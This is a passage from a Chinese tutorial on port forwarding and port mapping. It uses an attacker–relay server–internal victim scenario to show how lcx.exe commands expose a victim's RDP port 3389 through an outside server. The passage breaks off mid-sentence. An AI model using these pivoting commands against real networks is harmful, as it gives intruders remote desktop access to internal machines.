1.端口转发
将内网端口转发到别的端口上。
例如一个攻击机，一个服务器，一个内网的被攻击机；攻击机想远程桌面连接内网的被攻击机，可以通过服务器的端口转发，将内网的被攻击机的3389端口转发到服务器上的3333端口，攻击机访问服务器的3333端口就相当与访问内网主机的3389端口。
使用lcx.exe向服务器进行转发端口
lcx.exe -slave 服务器ip 3333 127.0.0.1 3389
服务器端将3333端口再转发到3331端口
lcx.exe -listen 3333 3331
攻击机访问服务器的3331端口，就相当于访问了内网被攻击机的3389端口。
2.端口映射
将内网端口完全映射到外网的端口上。
例如：一个内网的web服务器，不是一个内网的客户端没有办法访问它，那就将内网的web服务器的80端口映射到外网的指定端口，客户端就可以访问外网的指定端口来向内网的web服务器进行访问，访问后路由器将信息转发给内网服务器，
